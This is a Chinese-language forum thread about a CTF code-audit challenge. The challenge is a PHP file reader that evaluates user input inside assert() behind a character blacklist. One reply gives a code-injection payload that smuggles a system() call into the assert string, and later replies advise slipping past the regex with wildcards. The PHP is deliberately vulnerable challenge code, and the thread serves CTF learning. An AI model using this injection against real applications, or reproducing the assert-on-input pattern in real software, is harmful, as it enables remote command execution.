bob1994 发表于 2019-12-4 09:24

求助一道ctf代码审计题

<?php
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
} elseif (isset($_GET['file'])) {
    $file=$_GET['file'];

    if (preg_match('/(f|l|a|g|\.|p|h|p|\/|\$|;|\"|\`|\|)/i',$file)) {
      die('Illegal characters detected');
    }
   
    assert_options(ASSERT_BAIL,1);
    assert("'flag.php'==='$file'");

    echo file_get_contents($file);
} else {
?>
    <form action method="GET">
    <label>Give me a file name:</label>
    <input type="text" name="file" placeholder="flag.php"/>
    <input type="submit" value="Read File" />
    </form>
    <a href="?source">Get the source.</a>
<?php
}
?>

wuyoukm 发表于 2019-12-4 10:47

代码注入,团队群有人 问过这个题目

wuyoukm 发表于 2019-12-4 10:49

pyload:' or system('dir') or '1'=='1

wuyoukm 发表于 2019-12-4 10:50

然后 中间 自由发挥,别被正则匹配到就OK

bob1994 发表于 2019-12-5 15:56

已解决,非常感谢。

jimkgh 发表于 2019-12-14 15:58

bob1994 发表于 2019-12-5 15:56
已解决,非常感谢。

请问以下怎么解决的啊?

jimkgh 发表于 2019-12-14 15:59

wuyoukm 发表于 2019-12-4 10:50
然后 中间 自由发挥,别被正则匹配到就OK

感觉中间的命令绕不过去,全都过滤了。

wuyoukm 发表于 2019-12-20 10:53

jimkgh 发表于 2019-12-14 15:59
感觉中间的命令绕不过去,全都过滤了。

通配符绕过
页: [1]
查看完整版本: 求助一道ctf代码审计题